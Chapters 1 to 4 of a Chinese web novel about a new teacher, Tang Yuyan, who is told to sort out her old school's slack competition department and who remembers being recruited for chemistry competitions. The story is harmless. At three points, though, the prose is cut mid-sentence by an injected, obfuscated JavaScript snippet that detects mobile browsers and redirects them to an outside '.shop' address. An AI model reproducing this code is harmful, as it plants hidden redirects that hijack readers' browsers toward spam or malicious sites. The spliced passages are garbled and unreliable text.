《一铁山的爱》 1. 第 1 章 当唐瑜嫣拖着承载了她半数身家的行李箱,耳机里传来好友喋喋不休的老母亲般的嘱咐,顺利通过学校大门时,她才意识到她又回到了这个地方,以一个老师的身份。 还未等她盯着校训石追忆校园峥嵘岁月,旁边就传来一声哀嚎:“叔!叔!你是我亲爹,我这手机真是不小心揣兜里的,不是故意要带进来的,你就让它寄存在保安室,等我放假回家之前来请它回家,别打电话通知班主任成不!” 说着还哽咽了几下,在脸上抹了抹莫须有的眼泪,言语之崩溃,神情之凄凉,活像守寡多年的娘心爱的小女儿要被恶霸掳走。 唐瑜嫣心中刚破土而出的怀念之情立马被扼杀了,作为一个在这里度过了三年高中苦学生涯,且毕业多年的学姐,看到此情此景是大感同情。 本校管手机之严厉堪称全市之最,所有学生进校之前都需经过安检门的“全身清洁”扫描,再被保安从上到下里里外外进行局部“消杀”后才给进入校园。 无数使出十八般武艺,妄图把手机带入学校的英雄豪杰前仆后继,但都难以逃脱这一套搜查。被这些学校的“鹰犬利器”抓捕后,还被强行执行了通报扣分缴手机一条龙服务。 其实也不怪这些少年豪杰希望带手机进学校,十七八岁的少年总有回不完的消息,打不完的游戏,刷不完的视频。 奈何手机在手上时间太短,而在学校时间太长,这般“生离”谁能受得了,所以这些以身犯险的事情层出不穷。 不过有规矩在的地方,就有特权的存在。如果你是一个竞赛生,且有需要电子产品学习的理由,学校也会对你网开一面,约法三章后专门圈了一块地,叫竞赛部。 只要在竞赛部内使用电子产品就是合理合规的,虽然不明说,但这也是学校鼓励同学们参加竞赛的一大手段。 唐瑜嫣曾经就是一位高贵的化学竞赛爷。 “竞赛部,现在竞赛部怎么样了……”其实比起教学楼和图书馆,她在竞赛部教室学习的时间更长,这次回学校怎么说都想回去探访一下。 那豪杰的求情声突然中断了,原来是一只手从他身后幽幽伸来,用力拍了几拍他的肩,一下把他拍噤声了,“小同志,这话可不兴说啊,父母乃是生你养你之人,怎么能在外面乱认父母呢,所谓养育之恩胜于……” 他僵硬地转过身,看见盛主任弥勒佛一样的脸,其喋喋不休的教导还在耳边不断回响,恨不得心一横眼一闭,直接晕过去一命呜呼了。 盛主任盯着那倒霉学生生不如死的脸,好像完全感觉不到冷场和抗拒,扭开他的保温壶喝了几口继续道:“说到哪了,天下伦理纲常出乎天命……” 唐瑜嫣看到他下意识地想躲,立马把耳机摘下,准备跟着一大堆学生混进去。 天不遂人意,只见盛主任四下张望了一下,看到她立马熄灭了继续教育那位学生的欲望,并对前面一大箩筐话进行总结收尾。 “我说的话你都记住了吧,签个名把手机上交赶快回班级,别耽误上课啊!”盛主任三两句收完尾后,慢悠悠冲着她这个方向喊地喊:“小唐啊,毕业了就不认识盛老师了啊,对于你们这些愿意回来建设母校的青年才俊,我们是相当的欢迎啊。” 躲是没法躲了,那逃过一劫的学生溜走时,不忘给她了一个感激和同情的眼神。 唐瑜嫣拍了拍脸,调整出了一个得体的表情,这是一个无论是对前班主任,还是现领导都很合适的笑容,“盛老师,我给你和师娘都带了礼物,我收拾好东西就给您送去。” “哎呀小唐客气了,以前你在学校的时候,可不比这些孩子省心,天天卡点进教室,古人云一日之际在于晨,黄金五分钟知道吧……” 听到他准备继续开始掉书袋子翻旧帐,唐瑜嫣揉了揉突突直跳的太阳穴,默念:“他是我领导,他是我领导。” 她强行挤出一抹微笑,“盛老师,我这行李还提着呢,等我放完行李,再来听您的教导。” “别急别急,我们先去会议室开个小会,把工作安排交接好你再收拾。”弥勒佛笑眯眯地否决了她的提议。 “小会吗,以她对这些校领导的认知和之前开年级大会的经验。到时候挨个上来简单说两句,分为三大点,各有四小点,小点里面有五个要点。完事直接可以去吃宵夜了。”唐瑜嫣麻木地想。 顺着人流往教学楼走,大抵是一个假期没见面,这帮孩子攒了一箩筐话,看见熟悉的朋友直接一个箭步冲上来,勾肩搭背眉飞色舞地比划着什么。 很青春,很有活力,有种无所不能的朝气,估计上几天课,发现自己并不是什么爱因斯坦莎士比亚之流就全蔫了。 或许是被班主任领着去开会这件事既视感太强。直到推开会议室的门前,她心里一直浮现出那人的眼睛,那双无时无刻不充斥者希望之火的眼睛,笑眯眯地问她:“你未来想成为一个怎么样的人呢?” 这么多年过去了,来到学校第一个想到的人还是他,真是没有半点长进。唐瑜嫣鄙夷自己。 “宋校,我们应从长远发展的角度思考,建立国际部符合国家对外交流融合的观念,这是大势所趋!”她在推门进去的时候听到有人在苦口婆心地劝说。 好的,又是一位老熟人,她的英语老师,现在看起来也是个小领导。 “石老师,你想建立国际部,让我们学校的孩子有更多机会出国深造的心我了解,但是我们需要一个完整的方案,你知道的,学校刚分家,我们没有多余的教学资源可以分配。” 她听见那人不紧不慢地回复。是了,他好像从来都游刃有余又充满力量,没有什么事能在他的意料之外。 那人——宋校长——宋飞珑看到盛主任把唐瑜嫣带进来,笑容和煦且亲切地说,“主任和小唐来了啊,既然大家到齐了,那就直入正题吧。” “很多老师反应,现在竞赛部的风气不正,那帮孩子扯着查资料的虎皮,天天沉迷于电子产品,不务正业。” “这人三十岁不到,现在就能在这帮意见大过天的领导中斡旋,看起来这些年又有长进。”唐瑜嫣思绪开始翻飞,视线不知不觉落到那人长长的睫毛上,无意识地盯了几秒。 说起这位宋校长啊,别看他风度翩翩,温和亲切,小白脸似的,感觉大学毕业没几年——虽然确实没几年。 但他可不是一般的青年才俊。前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406450|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几年学校分裂,编制在那边的校长和领导基本都走了,学校的根基都被撼动,想借此动乱来铁山挖人的外校投机份子也不在少数。 如此腥风血雨下,这位原董事长的儿子刚留学回来就站出来扛起大梁,力排众议,压下了那些恶性竞争的小领导,保住了铁山这片校园。 思至此,唐瑜嫣突然反应过来什么,她立马环视一周想证明自己雨露均沾心无杂念。扫到竞赛部主任时,看到了一张面无表情的脸,憋着想说什么。看来是有一肚子火气。 “加上这几年竞赛部没有出什么好成绩,别说金牌银牌,进国赛的人都很少,我了解我们三线小城市获奖之艰巨,但竞赛部如今已名存实亡是客观事实。”他微微叹了一口气,手在桌上轻点几下,好像瞥了一眼唐瑜嫣。 “所以,今天开会的主要目的是讨论如何解决竞赛部目前的问题,大家来谈谈自己的看法。” 竞赛部主任再也忍不住,“宋校,何止是学风不正,他们简直无法无天!就上个月,他们在竞赛教室组团看游戏比赛,看完激动地在教室里大喊大叫还蹦迪,点了一堆外卖来庆祝,跟我吼什么,主队夺冠了。” 这话不知勾起了什么回忆,唐瑜嫣和宋飞珑同时抬眼,这下终于对视上了。 “这还不止,我且不提他们晚自习的时候蹦迪影响别的同学,不说学校明令禁止点外卖,他们吃完外卖还不处理,放在教室里半个月,好了,发霉了。” “这下一屋子异味叫我去处理,我一打开门还有蟑螂往我脸上飞,我是他们的保洁还是保姆!这竞赛部主任我是真干不下去了!”他义愤填膺。 “宋校啊,”石老师这时候插嘴,“既然如此,不如把竞赛部改为国际部,不要浪费学校资源力量啊。” “好啊,来学校第一天,竞赛部就要完蛋了。真是个好兆头!”唐瑜嫣百无聊赖地想,但她不理解这些领导开会把她一个实习期没过的老师叫来干什么,当吉祥物吗? “石老师,国际部可以建,但不能操之过急。” “竞赛部那帮孩子现在虽然犯了错,但他们在竞赛上花的时间和精力我们也有目共睹,哪有半途而废的说法。这是否定了他们的努力啊!” 盛老师在旁边认可地点点头,看得出来大多老师对竞赛部还是不想赶尽杀绝的,只是不想趟这趟浑水。 “这样吧,等今年竞赛比完了,成果出来了,如果还是没有成绩就如你所说,我们再考虑把竞赛部改成国际部,如果出了成绩,国际部这事我们就先从长考虑。” 他又开始和稀泥了,唐瑜嫣想,下一步是不是到忽悠人了。果然,“但是竞赛部肯定是要整顿的,既然邱主任你干不下去了——” “坏了,不至于吧!”唐瑜嫣看他突然转头过来,出于对麻烦的感知和对他的熟悉,这没人想做的“好差事”估计要落她头上了。 “——小唐,这事就交给你了,你之前在竞赛部也呆了两三年,学生能犯什么什么事,藏什么角落你肯定清楚,我相信你能胜任!” 只见宋校长上下嘴皮子一张一闭,也不管她愿不愿意,直接宣告了她的死刑。 “各位有什么意见吗?” 2. 第 2 章 “这时候没人愿意出来简单说两句了。”唐瑜嫣面无表情地想,“让一个包都没放的新老师直接去管竞赛部,不愧是你们草台班子。” 这时候多年不见老情人的尴尬和旖旎早就散光了,什么恨明月高悬曾独照我,什么恨海情天恨比爱长久,都没有打工人被赶鸭子上架更让人绝望。 ——不对,什么老情人,他们根本没谈过。 “小唐也是大家看着长大的,是我们附中自己培养的人才,她的能力我们都有目共睹。”宋校长笑着打破沉默,“盛主任,你说呢?” “那必须的,”盛主任笑呵呵地鼓了鼓掌,“小唐以前当我课代表的时候,那可是兢兢业业焚膏继晷废寝忘食啊!小唐管竞赛部那是相当的可以!” “对!正好让小唐历练一下!”有人接话了。 “小唐做事我放心!” 看来老师们也这样,不点到自己的名字,就根本不会站出来做出头鸟,等有人发声了齐声附和就好。 看着诸位前科任老师都纷纷发话支持自己,唐瑜嫣悬着的心终于死了。 秉承着“我实习期还没过不能和领导起冲突”的观念,在校长意味深长的目光下,她主动开口:“感谢各位领导的信任,我将尽我所能解决问题,让竞赛部重获荣光。” 这事就这么盖棺定论了。 不过这些领导的人性尚未泯灭,只是让她去整治管理竞赛部,日常教学这块先跟着前辈学习,不至于到拿起书就上的地步。 话虽这么说,在她看到竞赛部监控录像的时候,脑子里只有一句话“这帮小屁孩无可救药了!”她揉了揉太阳穴,不敢相信自己看到了什么。 一位在一堆微积分公式前挥动双手上蹿下跳,庆祝自己充了千把块钱,抽到了价值整整两百的武器的返祖猿猴。 一位在物竞教室里装了个球框,旋转跳跃投球疑似研究抛物线,下一秒就要去转行当体育生的在世流*枫。 还有几个整天围着多功能一体机,享受免费高清液晶大屏,流畅游戏体验的电击小子。 好吧,值得安慰的是,除了这几个展示人类行为多样性的类人之外,还是有位虽居于闹市而不改其志,出淤泥而不染的独苗苗的。 唐瑜嫣欣慰地叹了口气,想着反正只是要进个国赛拿个奖,也没指定哪个科目。 与其指望那帮问题少年迷途知返,不如寄希望于培养这位全村的骄傲,又是专攻化学的本家学生。 不同于很多校园文里男女主随随便便就能拿竞赛奖状糊墙,其实参加竞赛近乎是一个燃烧热爱、得不偿失的过程,能取得成果的人可谓是凤毛麟角。 只有拿到金银奖牌,才有机会被高校破格录取。但自从学校成立以来,也曾培养过无数优秀的学长学姐,其中不乏去到最顶尖高校的。 但在竞赛这条赛道,附中只在数学和物理上各拿过一块金牌。 参加竞赛有很多意味。意味着他们高一高二要投入所有精力到学习那些高考根本不会涉及的知识上,意味着要停课参加集训,意味着如果拿不到奖牌,高三一年就要学完高中三年全部的知识。 而附中其实是一个重本率在全省数一数二的学校,即使参加竞赛会有很多特权。但更多的人还是愿意参加高考,选择更稳妥的教科书式的人生,上课刷题考试,一模二模三模,最后走向高考。 说白了,比起辛苦一辈子,权衡利弊之下,大家还是更愿意断网三年拼搏千日。 ——十几岁的高中生总是笃信,高考是人生最难翻越的高山,其实等到轻舟驶过峡谷,他们才会意识到人生广阔大有容错,也有一座又一座的高山等待征服。 总而言之,现在选择走上竞赛这条路的不是想混日子的,就是心怀热血的。 很明显,现在整个竞赛部基本都是混子,唐瑜嫣打算先找热血尚存的独苗兄弟谈谈心。 “那个……唐老师,”一位脸圆圆的长相十分可爱的竞赛部分管老师为难地皱着眉,“这位严同学,他前几天退出竞赛了。” 顶着唐瑜嫣“算了毁灭吧”的绝望眼神,徐真艰难地开口:“他们搞聚会,正巧那个月化竞组织外地集训,就霸占了人家的教室,完了之后,乌烟瘴气的。” “人家回来以后想要自习,没人担责,只能自己打扫了,就,他忍很久了。你懂吧……” “他走以后,竞赛部那些为数不多还在学的人,基本都走了。” “那个,要不我们去跟那些退出的孩子谈谈心,劝劝他们。以后,我们多看监控,多巡逻几次。”徐真充满希望地看着她,试图鼓励她重拾斗志。 可惜已经在瘫坐在图书区沙发上的唐瑜嫣压根从来都没有过斗志这玩意,她深吸一口气,很不客气地说:“别说他们,我都知道哪里是监控死角,几百年了学校也没一点改进。” “那些不愿意学的,我们监督一万次也没用。那些想学的,比起在这受罪不如回去准备高考。没问题,要我我也这么选。” “那怎么办?”徐真欲哭无泪,“我还不想失业……” 那确实,作为一位亚文化圈的忠实爱好者,她一桌子的立牌、手办、泡面压等着她赚钱来养。 上有千岁白发双马尾精灵老叟,下有粉毛读心少女萝莉,也算是拖家带口,实属不易。 “太棒了,上班即失业,生活还是比小说精彩!”唐瑜嫣乐观地想。 “不怎么办,从现在开始竞赛部正式倒闭了!”迎着徐真不可置信的眼神,唐瑜嫣抄起一袋什么东西,拉着发现面临失业,摇摇欲坠,碎成几片的徐真的躯壳就往竞赛部教室走。 彼时铁山最负盛名的夕阳晚霞才堪堪在天边染上几缕橙红,谈笑着、打闹着、拥着搂着自己好友的少年,三三两两向食堂进军。 不论所谓学霸还是学渣,此刻此刻,他们更关心待会儿是吃二楼的叉烧饭,还是三楼的小火锅。 学习固然重要,但毕竟天大地大,吃饭最大。 这帮竞赛部的混子更不用想,要是信有人会抓紧这点时间学习,可以出门左拐去治治脑子了。 学校很舍得给竞赛部下经费,虽然各科参加竞赛的人两只手都能数过来,但还是各配了一间标准教室。 呵,不出所料。教室前后暖黄的护眼灯光坚守着阵地,空调敬业地吹着冷风,电脑屏幕上是某个游戏扫荡的画面,角落的充电板连着一串手机,活像瓜田上结的一藤子果。 极具生活的场景是吧——就是鬼影没有一个,节约用电完全没在这帮“日理万机”的小崽子脑子里留下丝毫印象。 唐瑜嫣看起来对空无一人的教室非常满意,吩咐徐真:“你管那两间,我管这两间。把电闸拉了,门和窗全部锁上,竞赛部教室从现在开始正式关闭。” 看着她干脆利落地把每个窗落锁,连一只苍蝇都不想放进来的身影,徐真好像明白了什么——她们把那帮混小子的命根子锁里面了。 这还没完,确保一级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“靠!谁把我教室封了!我手机还在里面!”冯熠难以置信地看到眼前的封条,怒不可遏,第一个喊起来,准备用十八种语言问候这位封门人的全家。 “我说了,这里没有教室了。”唐瑜嫣的声音从后面悠悠传来,面对这帮愤怒的混世魔王们完全不虚,“至于手机,既然竞赛部都没有了,意味着特权也没有了。等这周结束了我再发给你们带回家。” 说完就在这帮二愣子怀疑人生的眼神下,把他们全部打包轰回教学楼,交到各自的班主任手上。 双眼呆滞地看着眼前这几百年都没收拾过的课桌,上面还堆着乱七八糟卷子,和乱翻后随手一扔的教科书,魏浩依旧没反应过来,他们被一个新老师剿掉了老巢,没收了电子产品,还被赶回了原本的行政班。 他许久未见的同桌挠着头,默默把暂堆在他桌子上,属于自己的练习册往自己桌上移,“魏哥,怎么今天突发雅兴回咱班看一眼啊。” 发觉魏浩一直盯着他挪书的爪子,他立马对天发誓:“我就放了几本练习册啊,这些试卷和书都是你的哈。一张也没少,老班说要是你学竞赛无聊,平时可以写两张调剂一下,哈哈。” 看见魏浩越来越黑的脸,他尴尬地一笑,拧了拧笔帽,“还有那个,过几天就是开学考了。要是你竞赛那边没安排,老班说让你也来参与参与,享受一下紧张刺激的氛围。” 听到这丧心病狂的话,魏浩再也忍不住,咬牙切齿地从嘴里挤出一句,“滚!” 正好路过他旁边,帮忙发作业的严鹏飞抬眼看了眼他,眼神里好像在写着,“你又在犯什么大病?” 3. 第 3 章 另一边冯熠的情况也没好到哪里去,他那帮狐朋狗友一看到他就没忍住,非要在晚自习课间来犯一把贱。 “冯少爷怎么不打游戏跑来班里体察民情了,怕不是被赶出来了!”一位哥们拐着他的肩,一副哥俩好的样子。 另一位拐着他的手,逗他:“冯少,这几小时没摸你的宝贝电脑了,想他没?”说完还顺势薅了薅冯熠花了几小时固定好的头发。 冯熠扒拉开一堆作乱的手,忍无可忍地破口大骂:“都闲着没事干是吧,天天□□爹我的心,没事不能回来关心一下你们这帮叛逆子孙啊!” “冯熠!一回来就闹事是吧!”从走廊的另一头气势汹汹杀过来周组长打断了这“父慈子孝”的一幕。 “上课铃响了听不到吗!全都回去坐着!晚自习打打闹闹像什么样!”他指着这帮人骂了一圈。 如同赶羊一般被赶回到座位,冯熠连踹了几下桌子聊表愤怒,掰着手指越想越不对,他冯少爷顺风顺水这么久,怎么给一个新老师虎住了,一晚上被东赶过来西赶过去,这不成丧家犬了吗! “下课势必要找魏浩邓宽姜程阳他们讨论一下反攻战术——至少要把手机弄回来。”冯少爷发誓。 况且,他也不相信竞赛部说没就没了,老师难道不应该先从做心理工作开始,再打几轮游击战吗,直接把学生赶走是几个意思! 于是,在冯老大的煽动和带领下,竞赛部那帮心怀不满的“帮派骨干”一拍即合,决定夜闯竞赛部收复失地,解放俘虏,给不知好歹的新老师一点下马威。 那是一个月黑风高的夜晚——不,风也没多高,南方的空气中总是带着些许未散去的闷热,总而言之这个新结成的反竞赛部覆灭联盟开始了第一次行动。 此时高年级的牛马晚自习堪堪下课,低年级的学弟学妹早已沉入梦乡。忙碌了一天的学校在此刻近乎是安静的,昏昏沉沉地宣告这一天结束。 离竞赛部最近的那盏路灯闪烁着,昏黄的光线一明一灭地照着绕着它飞的小飞蛾,柔光下影子在地上闪烁。 一群猫着腰穿着黑色外衣伪装成江洋大盗的大扑棱蛾子从灯下穿行而过。 “快快快,锁孔在这里,起子呢?魏浩你给我照着,对对对就这里,等我一下!”冯熠压低声音指挥作战。 作为一位从小到大精通撬锁的行家,他抄起工具就在锁孔里一顿摸索捣鼓,试图找到合适的角度。 “哎成了成了!靠!谁打我一下,不是你关灯干啥,照着啊。”他刚想发脾气。一道不属于他们之中任何一人的声音在他耳边响起来。 “要帮忙照这吗?”唐瑜嫣善意地开口询问。 “对,就这——不对,你谁?”冯熠猛地一转身,看见唐瑜嫣披着长长的黑发,惨白的灯光打在她的脸上显得面目极其狰狞,不知是不是他的错觉,她的身体还在前后飘动。 “啊啊啊——有鬼啊!”冯少爷平时连鬼片都不怎么看,这一转头直接给这熊孩子吓昏过去了。 唐瑜嫣站直身子,关掉从下往上照着她的脸的手电筒,晃了晃录下全程的手机,指挥着站在两侧不敢出声你看我我看你的魏浩和姜程阳把晕倒的冯公子抬去图书室。 早就被逮到的放风人员邓宽手足无措地在图书室捧着徐真新泡的热茶,茶是好茶,泡茶的人技术也没话说。 他也算来来回回喝过几轮了,但没有一次喝得这么难以下咽,嗓子像是被糊住了。 看到唐瑜嫣领着其他犯罪同伙进来,他竟然是松了一口气。大家都有份,大家都有份! 冯熠是被他那俩好哥们扔在沙发上那一下给震醒的,环顾四周发现无力回天之后瞪眼看着唐瑜嫣,发现她根本不急,靠在椅子上玩手机,看起来快睡过去了。 “皇帝不急太监急。”冯熠在心中诽谤,但又耐不住沉默,只能干巴巴地开口,“老师你没什么想说的或者想问的吗?” “事情经过吗?我全录下来了,可能比你还清楚发生了什么。”唐瑜嫣头也不抬,“明天就发给德育处主任给你们发个通报批评,正好他们开学冲业绩。” 这下冯熠彻底坐不住了,脸上青一阵紫一阵。 “不是,直接通报吗,不引导一下迷途的少年吗,话疗呢,谈心呢!”他激动起来心里的话一不小心脱口而出。 天,要是给所有人看到自己被吓晕过去,以后那帮儿子得嚣张成什么样?对于面子大过天的冯少爷来说。处分事小,丢脸事大啊!他还想抢救一下。 唐瑜嫣好像也没感觉到这话倒反天罡,“能劝的别的老师早劝过了,你敢说这是你第一次来这?不给你们吃点亏还真以为自己是老大,既然人教人教不会,不如直接跳到事教人这一步。” “各位同学们,所以以后做事要考虑后果呀!”旁边徐真温和地补充道,顺便给每位同学都添满茶水。 “不是,那我们不提今晚这件事。竞赛部怎么能说关就关呢,老师您难道不应该先讲一下自己学习的经历,人生哲理,熬碗鸡汤,以此激励我们努力学习竞赛吗?” 他循循善诱,曲线救国,意图唤醒对面那人作为老师,想要教育学生的拳拳之心。毕竟面子和手机总得保住一个吧! 唐瑜嫣这时才打起了一点精神,抬手撑着头,扫了一眼那帮听见处分就低着头装鹌鹑的联盟成员,然后盯着眼前天不怕地不怕,就怕脸皮着地的混子大少爷首领。 “虽然我并不认为讲不讲我的人生经历和关不关竞赛部有关,也不认为我的言语能有这么大的力量,能让你们刹那间幡然醒悟。” “作为被特招邀请的学生,我的经历甚至不能作为你们的参考模版。不过既然你好奇,就当个睡前故事听吧。” 大概是看到少爷讲得口干舌燥,抄起一杯热茶灌下去,立马被烫得龇牙咧嘴的脸,觉得这人把气氛铺垫得差不多了,唐瑜嫣终于舍得开口。 “哦,但是鸡汤没有,想喝明天去开学典礼听你们校长熬。” “宋飞珑才是熬鸡汤大师,天天都在熬,碗碗不一样。这竞赛部教育工作就应该他来做。”她在心里默默补充。小唐老师胆大包天,越俎代庖,直接敢给校长安排上工作了。 在唐瑜嫣的印象中,高中时期已经像上辈子,见过的人,发生的事,在她记忆里都像蒙了一层看不见摸不着的板子。 不过既然要从头说起,那就从高一上期末考试完开始吧,她想,正好回来也没来得及追忆一下逝去的青春。 那时正处于考完试和放假的间隙,大抵有一周多的课。 学校为了抢进度,禁止学生请假,但又怕直接上新课大家魂魄不齐,生理不适,得不偿失,就安排了一两天课程讲评期末试卷。 或许学校出发点是好的,但对于大多数学生来说,这是最畸类的安排。 说白了,上学期过都过了,知识该忘就忘了,学下学期的也就算了。你现在讲评期考试卷是几个意思,提醒我考得有多差吗! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406452|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出所有人所料,这种讲评课就是老师在上面唾沫横飞,学生在底下各干各的,主打一个咱也不闹什么事,你上你的班,我摸我的鱼,我们井水不犯河水。 唐瑜嫣当然也是摸鱼联盟中的一员,她缩在堆成一堵墙一样的课本和练习册背后补觉。 期考备考那会儿,大家都在拼命地卷,今天你写五套卷子,明天我背半本书,睡眠时间被严重压缩,不少人选择在此刻打个盹。 “小唐,小唐,老盛过来了。”她带着圆圆眼镜框的同桌摇着她的肩,唐瑜嫣将头从手肘间抬起,眼皮微微上扬,跟班主任示意,自己只是趴着并没有入睡见周公。 可盛老师可不管那么多,笑呵呵地提议:“小唐啊,这么困啊,要不要站起来清醒一下?” 听见这话,唐瑜嫣没办法,只得摇摇晃晃地站起来,好像没骨头似的把重心移到书山上靠着。 “精神一点,课间把你桌子上的所有书全部收拾干净,不要堆这么高,老师都看不到你了。” 他这话惊醒了所有周围酣然入睡的,在桌洞里偷偷看小说的,研究扭魔方竞速的。 一个两个立马正襟危坐,生怕老盛注意到自己,要求把书山推倒,让他们裸奔在教室里。 唐瑜嫣心里默默吐槽着倒霉,怎么就给抓到了,同时耳边还传来了进一步的噩耗:“小唐啊,中午来我办公室一趟,有些事想和你说。” “今天是什么日子,上课趴着也能被抓去办公室?这未免太荒谬了……” “……待会儿从完办公室出来,还来得及吃饭吗?不知道食堂的蒸菜还剩什么,估计又是番茄炒蛋……” “……唉,等听老陈唠叨完,宿舍肯定熄灯了,她们的白日梦估计都转了三圈了,我还有机会上床闭眼吗。” 在去办公室的路上,唐瑜嫣快把衣食住行想了个全,最终释然地叹了口气,“算了算了,猜都猜得到要发生什么,那些老掉牙的话……唉,既来之则摆之。” “嗯?”在她意料之外的是,办公室里不止有她的班主任,好像她的化学老师也在这等她。 “这次喝茶竟然还有新生力量吗?”她挑了挑眉,慢吞吞地走进去。 “小唐,是这样。”班主任先开的口,“陈老师跟我说,上高中以来,你化学所有大小测全是满分,这次期考他看了你的答题卡,不出意料也是满分。你有想在化学上深造的打算吗?” 还没等唐瑜嫣开口,陈老师急吼吼地抢先:“小唐,你知道我们学校这个学期,一直都在招收走竞赛的学生吧。” “年级觉得你很有天赋,但是当时征收志愿表的时候没见你报名,我就想来问一下,你有没有意向。” “全年级的竞赛讲座你也参加了,你知道如果竞赛拿牌的话,高考可以免试的吧!” “你这么好的条件,完全可以去试一下,就算没有拿牌,拿个省一省二,都有机会去走强基,拼高考加分。别错过机会啊!”陈老师劝得那叫一个苦口婆心。 不得不说,这些忽悠人的老师总是只报喜不报忧,只讲好处不讲坏处。 要是竞赛是这么个香饽饽,早就不止个位数的人报名了,还费得着他来拉人? 她礼貌地听完了班主任和化学老师长篇大论的劝说,然后在两道殷殷期待的目光下,无情地张嘴吐出。 “谢谢老师的认可和建议,但我还是更想直接走高考这一条路,竞赛还是让更有能力的人去吧。” 4. 第 4 章 于大多数大三学生而言,课业压力逐渐减少,准备考研专业课还没上完,寒假最大的烦恼莫过于找实习。 而对于一切变故发生之前,家里有矿背靠集团,甚至前五学期成绩能锁定保研的宋飞珑宋公子来说,这压根就不是能把他扣押在学校的理由。期考结束当晚他就拍拍屁股溜回家了。 不同于其他少爷小姐,热爱逛街旅游挥金如土。宋公子此人颇有济世情怀,又带着些不羁的通透,屁大点年纪,就喜欢引导迷茫的少年,找到自己的人生目标,实现所谓人生价值。 虽然没有老教师那么成熟,但架不住他面容和善且三观正,倒真帮上过不少忙。而且为了避免别人质疑他胡乱作为,他还跨专业去选修了心理学,考了一个心理专家证,堵住了所有人的嘴。 这人认为正确的教育引导是一个导火索,能让孩子们形成正确的价值观,最终有能力自己选择成为一个怎么样的人,绽出什么样的火花。 他的人生追求就是因材施教,不仅成为引线,还成为点燃不同引线的那一簇明火,让更多的人看清世界。 说得如此冠冕堂皇,但在唐瑜嫣心中,这位天生的教育家就是个见人说人话,见鬼说鬼话的大忽悠。 因着这份不同于常人的兴趣爱好,宋公子每次放假回家第二天就喜欢跑到他爸开的学校,想要帮点能用得上他的忙。 这么说也不准确,附中在那时还是一个两方合资的私立学校,但鉴于他爸目前是学校的董事长,他想跑去学校过一把人生导师瘾,还是绰绰有余的。 在附中,他最常光临的就是德育处,里面大把的问题青年可以开导,早恋的,打架的,考试作弊的,各种类型,应有尽有。 遗憾的是最近德育处没开张,没有误入歧途小年轻可以听他的话聊激起人生动力。这位化工专业在读学生只能退而求其次地走向了化学组办公室,看看有什么他能凑的热闹,实在不济,帮忙改改作业管管实验室也好。 “哎,今年化学竞赛难哦,又没什么人报名,盯上几个好苗子,一个都不愿意去。人数竞和物竞都拿过银牌了,我们呢,这么多年,顶天拿了个铜牌,还是一届不如一届……要是小宋在……” 办公室里,那几个化学老师愁云惨淡。不比文科老师,这帮搞实验的一个两个上课骂人嘴皮子利索,轮到鼓励孩子就成了锯了嘴的葫芦。 “什么什么,竞赛吗!”宋飞珑好像听到召唤似的,正巧晃悠到办公室门口,一下捕捉到了自己可以派上用场的机会,探出脑袋,“哎,交给我,交给我老陈!包一拐一个准!” 一帮化学老师就看着他风风火火地跑来,脸都没看清又风风火火地冲走了,像一片火烧云,热烈且潇洒。 陈老师来不及阻止,只能在他后面大喊:“名单和班级发你手机上啊,问到一个是一个啊!” 这困扰他们很久的事就莫名其妙地交到了宋飞珑手上,几个化学老师坐在办公室面面相觑,赞叹连连:“年轻好啊,年轻好,还是人家小宋有活力!” 他们对于宋飞珑的嘴皮子那是相当的信任,也不怕他闹出什么事,于是就放心地等着好消息了。 宋飞珑熟练地抄小路拐到了教学楼,这才发现自己好像忘记问要找谁了。他抬手擦了擦汗,掏出震了好几下的手机,十分有九分不情愿地打开那个名叫【唯爱老婆】的对话框。 这名字真的见一次牙酸一次。不仅如此,陈老师作为一位朴实纯真的化学工匠,他的微信头像是老婆氛围感艺术照背影,朋友圈背景更是幸福的一家三口带一狗,每天抛开工作后的闲聊,三句话离不开老婆。恨不得全世界都知道他有多爱老婆。 【唯爱老婆(陈贤章老师)】:{文件} 【唯爱老婆(陈贤章老师)】:{图片} 【唯爱老婆(陈贤章老师)】:今年竞赛的通知和竞赛部的课程安排都发给你了哈,4班的唐瑜嫣,9班的段辰,12班的展妙,这几个都是有机会拿牌的好苗子,交给你了。[强][强] 他大脑飞速运转立马记住了这几个名字,神情扭曲地关掉对话框,不想多看一秒,“一个一个来吧,4班…那先去找这位小唐同学!”然后跨步向二楼最左侧的班级走去。 “哎,同学,这是4班吗,你能叫一下你们班唐瑜嫣同学出来一下吗?” 正值晚自习,直接冲进去叫人扰乱纪律不合适。正巧有位女同学坐在教室外面,不如让她“行个方便”,帮忙叫人。 虽然这位女生一看起来就很冷淡很不好惹。她斜靠着椅背,一只脚曲着,一只脚搭在桌子底下的铁杠上,一晃一晃的,面无表情地咬着笔想题。 肩上披着的那件那被无数同学吐槽像环卫工人和垃圾桶的羽绒服,竟然给她装得看起来像穿了件风衣,怪潇洒的。他想。 